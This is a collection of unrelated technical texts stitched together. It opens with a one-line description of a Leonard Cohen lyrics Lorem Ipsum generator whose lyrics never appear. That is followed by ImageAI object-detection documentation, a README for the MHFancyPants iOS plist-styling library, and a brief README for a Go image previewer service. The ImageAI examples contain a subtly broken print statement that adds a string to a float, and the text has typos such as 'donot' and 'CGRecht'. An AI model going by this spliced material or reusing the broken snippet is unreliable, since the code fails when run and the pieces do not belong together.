A Lorem Ipsum generator based on the lyrics of the late great Leonard Cohen.

## Lyrics from https://www.azlyrics.com/c/cohen.html


text:
<meta charset="UTF-8">

# ImageAI : Object Detection

An AI Commons project https://commons.specpal.science

TABLE OF CONTENTS

&#9635 First Object Detection

&#9635 Object Detection, Extraction and Fine-tune

&#9635 Custom Object Detection

&#9635 Detection Speed

&#9635 Image Input & Output Types

&#9635 Documentation

      ImageAI provides very convenient and powerful methods to perform object detection on images and extract
each object from the image. The object detection class provided only supports the current state-of-the-art RetinaNet,
while other object detection networks will be supported in the nearest future. To start performing object detection,
you must download the RetinaNet object detection via the link below:

 - RetinaNet (Size = 145 mb)

 Once you download the RetinaNet model file, you should copy the model file to the your project folder where your .py files will be.
 Then create a python file and give it a name; an example is FirstObjectDetection.py. Then write the code below into the python file:

FirstObjectDetection.py

from imageai.Detection import ObjectDetection
import os

execution_path = os.getcwd()

detector = ObjectDetection()
detector.setModelTypeAsRetinaNet()
detector.setModelPath( os.path.join(execution_path , "resnet50_coco_best_v2.0.1.h5"))
detector.loadModel()
detections = detector.detectObjectsFromImage(input_image=os.path.join(execution_path , "image2.jpg"), output_image_path=os.path.join(execution_path , "image2new.jpg"))

for eachObject in detections:
    print(eachObject["name"] + " : " + eachObject["percentage_probability"] )
    print("--------------------------------")

Sample Result:

Input Image

Output Image

person : 91.946941614151
--------------------------------
person : 73.61021637916565
--------------------------------
laptop : 90.24320840835571
--------------------------------
laptop : 73.6881673336029
--------------------------------
laptop : 95.16398310661316
--------------------------------
person : 87.10319399833679
--------------------------------

Let us make a breakdown of the object detection code that we used above.

from imageai.Detection import ObjectDetection
import os

execution_path = os.getcwd()

 In the 3 lines above , we import the ImageAI object detection  class in the first line, import the os in the second line and obtained
  the path to folder where our python file runs.

detector = ObjectDetection()
detector.setModelTypeAsRetinaNet()
detector.setModelPath( os.path.join(execution_path , "resnet50_coco_best_v2.0.1.h5"))
detector.loadModel()

  In the 4 lines above, we created a new instance of the ObjectDetection class in the first line, set the model type to RetinaNet in the second line,
  set the model path to the RetinaNet model file we downloaded and copied to the python file folder in the third line and load the model in the
   fourth line.

detections = detector.detectObjectsFromImage(input_image=os.path.join(execution_path , "image2.jpg"), output_image_path=os.path.join(execution_path , "image2new.jpg"))

for eachObject in detections:
    print(eachObject["name"] + " : " + eachObject["percentage_probability"] )
    print("--------------------------------")

In the 2 lines above, we ran the detectObjectsFromImage() function and parse in the path to our image, and the path to the new
 image which the function will save. Then the function returns an array of dictionaries with each dictionary corresponding
 to the number of objects detected in the image. Each dictionary has the properties name (name of the object) and
percentage_probability (percentage probability of the detection)

Object Detection, Extraction and Fine-tune

In the examples we used above, we ran the object detection on an image and it
returned the detected objects in an array as well as save a new image with rectangular markers drawn
 on each object. In our next examples, we will be able to extract each object from the input image
  and save it independently.

  In the example code below which is very identical to the previous object detction code, we will save each object
   detected as a seperate image.

from imageai.Detection import ObjectDetection
import os

execution_path = os.getcwd()

detector = ObjectDetection()
detector.setModelTypeAsRetinaNet()
detector.setModelPath( os.path.join(execution_path , "resnet50_coco_best_v2.0.1.h5"))
detector.loadModel()

detections, objects_path = detector.detectObjectsFromImage(input_image=os.path.join(execution_path , "image3.jpg"), output_image_path=os.path.join(execution_path , "image3new.jpg"), extract_detected_objects=True)

for eachObject, eachObjectPath in zip(detections, objects_path):
    print(eachObject["name"] + " : " + eachObject["percentage_probability"] )
    print("Object's image saved in " + eachObjectPath)
    print("--------------------------------")

Sample Result:

Input Image

Output Images

            person

            person

            person

            person

            motorcycle

            dog

            car

            person

Let us review the part of the code that perform the object detection and extract the images:

detections, objects_path = detector.detectObjectsFromImage(input_image=os.path.join(execution_path , "image3.jpg"), output_image_path=os.path.join(execution_path , "image3new.jpg"), extract_detected_objects=True)

for eachObject, eachObjectPath in zip(detections, objects_path):
    print(eachObject["name"] + " : " + eachObject["percentage_probability"] )
    print("Object's image saved in " + eachObjectPath)
    print("--------------------------------")

In the above above lines, we called the detectObjectsFromImage() , parse in the input image path, output image part, and an
extra parameter extract_detected_objects=True. This parameter states that the function should extract each object detected from the image
and save it has a seperate image. The parameter is false by default. Once set to true, the function will create a directory
 which is the output image path + "-objects" . Then it saves all the extracted images into this new directory with
  each image's name being the detected object name + "-" + a number which corresponds to the order at which the objects
  were detected.

This new parameter we set to extract and save detected objects as an image will make the function to return 2 values. The
 first is the array of dictionaries with each dictionary corresponding to a detected object. The second is an array of the paths
  to the saved images of each object detected and extracted, and they are arranged in order at which the objects are in the
  first array.

And one important feature you need to know!
 You will recall that the percentage probability
   for each detected object is sent back by the detectObjectsFromImage() function. The function has a parameter
   minimum_percentage_probability , whose default value is 50 (value ranges between 0 - 100) . That means the function will only return a detected
    object if it's percentage probability is 50 or above. The value was kept at this number to ensure the integrity of the
     detection results. However, a number of objects might be skipped in the process. Therefore, you fine-tune the object
      detection by setting minimum_percentage_probability equal to a smaller value to detect more number of objects or higher value to detect less number of objects.

Custom Object Detection

The object detection model (RetinaNet) supported by ImageAI can detect 80 different types of objects. They include:

      person,   bicycle,   car,   motorcycle,   airplane,
          bus,   train,   truck,   boat,   traffic light,   fire hydrant,   stop_sign,
          parking meter,   bench,   bird,   cat,   dog,   horse,   sheep,   cow,   elephant,   bear,   zebra,
          giraffe,   backpack,   umbrella,   handbag,   tie,   suitcase,   frisbee,   skis,   snowboard,
          sports ball,   kite,   baseball bat,   baseball glove,   skateboard,   surfboard,   tennis racket,
          bottle,   wine glass,   cup,   fork,   knife,   spoon,   bowl,   banana,   apple,   sandwich,   orange,
          broccoli,   carrot,   hot dog,   pizza,   donot,   cake,   chair,   couch,   potted plant,   bed,
          dining table,   toilet,   tv,   laptop,   mouse,   remote,   keyboard,   cell phone,   microwave,
          oven,   toaster,   sink,   refrigerator,   book,   clock,   vase,   scissors,   teddy bear,   hair dryer,
          toothbrush.

Interestingly, ImageAI allow you to perform detection for one or more of the items above. That means you can
 customize the type of object(s) you want to be detected in the image. Let's take a look at the code below:

from imageai.Detection import ObjectDetection
import os

execution_path = os.getcwd()

detector = ObjectDetection()
detector.setModelTypeAsRetinaNet()
detector.setModelPath( os.path.join(execution_path , "resnet50_coco_best_v2.0.1.h5"))
detector.loadModel()

custom_objects = detector.CustomObjects(car=True, motorcycle=True)
detections = detector.detectCustomObjectsFromImage(custom_objects=custom_objects, input_image=os.path.join(execution_path , "image3.jpg"), output_image_path=os.path.join(execution_path , "image3custom.jpg"))

for eachObject in detections:
    print(eachObject["name"] + " : " + eachObject["percentage_probability"] )
    print("--------------------------------")

Result:

Let us take a look at the part of the code that made this possible.

custom_objects = detector.CustomObjects(car=True, motorcycle=True)
detections = detector.detectCustomObjectsFromImage(custom_objects=custom_objects, input_image=os.path.join(execution_path , "image3.jpg"), output_image_path=os.path.join(execution_path , "image3custom.jpg"))

In the above code, after loading the model (can be done before loading the model as well), we defined a new variable
"custom_objects = detector.CustomObjects()", in which we set its car and motorcycle properties equal to True.
This is to tell the model to detect only the object we set to True. Then we call the "detector.detectCustomObjectsFromImage()"
which is the function that allows us to perform detection of custom objects. Then we will set the "custom_objects" value
 to the custom objects variable we defined.

Detection Speed

 ImageAI  now provides detection speeds for all object detection tasks. The detection speeds allow you to reduce
 the time of detection at a rate between 20% - 80%, and yet having just slight changes but accurate detection
results. Coupled with lowering the minimum_percentage_probability parameter, detections can match the normal
speed and yet reduce detection time drastically. The available detection speeds are "normal"(default), "fast", "faster" , "fastest" and "flash".
All you need to do is to state the speed mode you desire when loading the model as seen below.

detector.loadModel(detection_speed="fast")

To observe the differences in the detection speeds, look below for each speed applied to object detection with
 coupled with the adjustment of the minimum_percentage_probability , time taken to detect and detections given.
The results below are obtained from detections performed on a Windows 8 laptop with Intel Celeron N2820 CPU,
with processor speed of 2.13GHz

Detection Speed = "normal" , Minimum Percentage Probability = 50 (default), Detection Time = 63.5 seconds

Detection Speed = "fast" , Minimum Percentage Probability = 40 (default), Detection Time = 20.8 seconds

Detection Speed = "faster" , Minimum Percentage Probability = 30 (default), Detection Time = 11.2 seconds

Detection Speed = "fastest" , Minimum Percentage Probability = 30 (default), Detection Time = 7.6 seconds

Detection Speed = "flash" , Minimum Percentage Probability = 10 (default), Detection Time = 3.67 seconds

You will notice that in the "flash" detection speed, the detections were most fast but least accurate.
That is because there isn't any profound object in the picture. The "flash" mode is most suitable
 where the input images are iconic (contain a profound image). Look at the sample below for detection in an iconic
 image.

Detection Speed = "flash" , Minimum Percentage Probability = 30 (default), Detection Time = 3.85 seconds

Image Input & Output Types

Previous version of ImageAI supported only file inputs and accepts file paths to an image for image detection.
Now, ImageAI supports 3 input types of inputs which are file path to image file(default), numpy array of image and image file stream
as well as 2 types of output which are image file(default) and numpy  array .
This means you can now perform object detection in production applications such as on a web server and system
 that returns file in any of the above stated formats.

 To perform object detection with numpy array or file stream input, you just need to state the input type
in the .detectObjectsFromImage() function or the .detectCustomObjectsFromImage() function. See example below.

detections = detector.detectObjectsFromImage(input_type="array", input_image=image_array , output_image_path=os.path.join(execution_path , "image.jpg")) # For numpy array input type
detections = detector.detectObjectsFromImage(input_type="stream", input_image=image_stream , output_image_path=os.path.join(execution_path , "test2new.jpg")) # For file stream input type

 To perform object detection with numpy array output you just need to state the output type
in the .detectObjectsFromImage() function or the .detectCustomObjectsFromImage() function. See example below.

detected_image_array, detections = detector.detectObjectsFromImage(output_type="array", input_image="image.jpg" ) # For numpy array output type

Documentation

imageai.Detection.ObjectDetection  class

          The ObjectDetection class can be used to perform object detection on images, object
            extraction and more by instantiating it and calling the available functions below:

            - setModelTypeAsRetinaNet()    This function should be called
            to use the RetinaNet model file for object detection. You only need to call it once.

            - setModelPath()    You need to call this function only once and parse the path to
       the model file path into it. The model file type must correspond to the model type you set.

             - loadModel()      This function is required and is used to load the model structure into the program from the file path defined

                in the setModelPath() function. This function receives an optional value which is "detection_speed".

                The value is used to reduce the time it takes to detect objects in an image, down to about a 10% of the normal time, with

                 with just slight reduction in the number of objects detected.

 ***** prediction_speed (optional); Acceptable values are "normal", "fast", "faster", "fastest" and "flash"

:param detection_speed:

                :return:

        - detectObjectsFromImage() This   function is used to detect objects observable in the given image path:

                    ****** input_image , which can be file to path, image numpy array or image file stream

                    ****** output_image_path (only if output_type = file) , file path to the output image that will contain the detection boxes and label, if output_type="file"

                    ****** input_type (optional) , file path/numpy array/image file stream of the image. Acceptable values are "file", "array" and "stream"

                    ****** output_type (optional) , file path/numpy array/image file stream of the image. Acceptable values are "file" and "array"

                    ****** extract_detected_objects (optional) , option to save each object detected individually as an image and return an array of the objects' image path.

                    ****** minimum_percentage_probability (optional, 50 by default) , option to set the minimum percentage probability for nominating a detected object for output.

 The values returned by this function depends on the parameters parsed. The possible values returnable
            are stated as below

            - If extract_detected_objects = False or at its default value and output_type = 'file' or

                at its default value, you must parse in the 'output_image_path' as a string to the path you want

                the detected image to be saved. Then the function will return:

                1. an array of dictionaries, with each dictionary corresponding to the objects

                    detected in the image. Each dictionary contains the following property:

                    * name

                    * percentage_probability

- If extract_detected_objects = False or at its default value and output_type = 'array' ,
              Then the function will return:
1. a numpy array of the detected image

                2. an array of dictionaries, with each dictionary corresponding to the objects

                    detected in the image. Each dictionary contains the following property:

                    * name

                    * percentage_probability

- If extract_detected_objects = True and output_type = 'file' or

                at its default value, you must parse in the 'output_image_path' as a string to the path you want

                the detected image to be saved. Then the function will return:

                1. an array of dictionaries, with each dictionary corresponding to the objects

                    detected in the image. Each dictionary contains the following property:

                    * name

                    * percentage_probability

                2. an array of string paths to the image of each object extracted from the image

- If extract_detected_objects = True and output_type = 'array', the the function will return:

                1. a numpy array of the detected image

                2. an array of dictionaries, with each dictionary corresponding to the objects

                    detected in the image. Each dictionary contains the following property:

                    * name

                    * percentage_probability

                3. an array of numpy arrays of each object detected in the image

      :param input_image:

            :param output_image_path:

            :param input_type:

            :param output_type:

            :param extract_detected_objects:

            :param minimum_percentage_probability:

            :return output_objects_array:

            :return detected_copy:

            :return detected_detected_objects_image_array:

    - CustomObjecs()  This function can be optionally called to handpick the type of objects you want to detect

                         from an image. The objects are pre-initiated in the function variables and predefined as 'False',

                         which you can easily set to true for any number of objects available.  This function

                         returns a dictionary which must be parsed into the 'detectCustomObjectsFromImage()'. Detecting

                          custom objects only happens when you call the function 'detectCustomObjectsFromImage()'

****** true_values_of_objects (array); Acceptable values are 'True' and False  for all object values present

:param boolean_values:

                        :return: custom_objects_dict

- detectCustomObjectsFromImage() This function is used to detect predefined objects observable in the given image path:

                            * custom_objects , an instance of the CustomObject class to filter which objects to detect

                            * input_image , which can be file to path, image numpy array or image file stream

                            * output_image_path , file path to the output image that will contain the detection boxes and label, if output_type="file"

                            * input_type (optional) , file path/numpy array/image file stream of the image. Acceptable values are "file", "array" and "stream"

                            * output_type (optional) , file path/numpy array/image file stream of the image. Acceptable values are "file" and "array"

                            * extract_detected_objects (optional, False by default) , option to save each object detected individually as an image and return an array of the objects' image path.

                            * minimum_percentage_probability (optional, 50 by default) , option to set the minimum percentage probability for nominating a detected object for output.

 The values returned by this function depends on the parameters parsed. The possible values returnable
            are stated as below

            - If extract_detected_objects = False or at its default value and output_type = 'file' or

                at its default value, you must parse in the 'output_image_path' as a string to the path you want

                the detected image to be saved. Then the function will return:

                1. an array of dictionaries, with each dictionary corresponding to the objects

                    detected in the image. Each dictionary contains the following property:

                    * name

                    * percentage_probability

- If extract_detected_objects = False or at its default value and output_type = 'array' ,
              Then the function will return:
1. a numpy array of the detected image

                2. an array of dictionaries, with each dictionary corresponding to the objects

                    detected in the image. Each dictionary contains the following property:

                    * name

                    * percentage_probability

- If extract_detected_objects = True and output_type = 'file' or

                at its default value, you must parse in the 'output_image_path' as a string to the path you want

                the detected image to be saved. Then the function will return:

                1. an array of dictionaries, with each dictionary corresponding to the objects

                    detected in the image. Each dictionary contains the following property:

                    * name

                    * percentage_probability

                2. an array of string paths to the image of each object extracted from the image

- If extract_detected_objects = True and output_type = 'array', the the function will return:

                1. a numpy array of the detected image

                2. an array of dictionaries, with each dictionary corresponding to the objects

                    detected in the image. Each dictionary contains the following property:

                    * name

                    * percentage_probability

                3. an array of numpy arrays of each object detected in the image

:param input_image:

            :param output_image_path:

            :param input_type:

            :param output_type:

            :param extract_detected_objects:

            :param minimum_percentage_probability:

            :return output_objects_array:

            :return detected_copy:

            :return detected_detected_objects_image_array:


text:
# MHFancyPants

Simple app styling via Plist inspired by [DB5 - Q Branch](https://github.com/quartermaster/DB5?source=cc "DB5 - Q Branch")

## What it is

Store colors, numbers, booleans, CGRects, CGPoints and CGSizes, timeintervals and strings into a Plist which can be used within the app. This enables to change the look and feel of an App with just one file.

Just have a look into the example project.

## Load "theme" inside app

Call "configWithPlistName" inside your didFinishLaunchingWithOptions-method contained in the AppDelegate with the name of the Plist as argument.

```objective-c
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    [MHFancyPants configWithPlistName:@"<NameOfPlistFile>"];

    return YES;
}
```

## Access the values

```objective-c
+ (BOOL)boolForKey:(NSString *)key;
+ (NSString *)stringForKey:(NSString *)key;
+ (NSInteger)integerForKey:(NSString *)key;
+ (CGFloat)floatForKey:(NSString *)key;
+ (NSTimeInterval)timeIntervalForKey:(NSString *)key;
+ (UIColor *)colorForKey:(NSString *)key;
+ (CGPoint)pointForKey:(NSString *)key;
+ (CGSize)sizeForKey:(NSString *)key;
+ (CGRect)rectForKey:(NSString *)key;
+ (UIEdgeInsets)edgeInsetsForKey:(NSString *)key;
```

## Define the values

Within a Plist file define:

+ bool as Boolean
+ string as String
+ integer as Number
+ float as Number
+ timeInterval as Number
+ color as String (hex-value without the '#')
+ CGPoint as a dictionary containing two values (named x and y) as Number
+ CGSize as a dictionary containing two values (named width and height) as Number
+ CGRecht as a dictionary containing four values (x,y,width and height) as Number
+ UIEdgeInsets as a dictionary containing four values (top, left, bottom and right) as Number

# License MIT

Copyright (c) 2013 Martin Hartl

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

 IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

repository: hartlco/MHFancyPants

repo_name: hartlco/MHFancyPants


text:
# Image previewer

![Continuous Integration](https://github.com/eglebov-otus/final_project/workflows/CI/badge.svg)
[![Go Report Card](https://goreportcard.com/badge/github.com/eglebov-otus/final_project)](https://goreportcard.com/report/github.com/eglebov-otus/final_project)

Try it
---

Start server using docker:
```
$ make run
```

Example:

http://<IP_ADDRESS>:8080/fill/400/100/www.audubon.org/sites/default/files/a1_1902_16_barred-owl_sandra_rothenberg_kk.jpg

Debug logs:

```
$ make logs
```

Tests
---

```
$ make test
```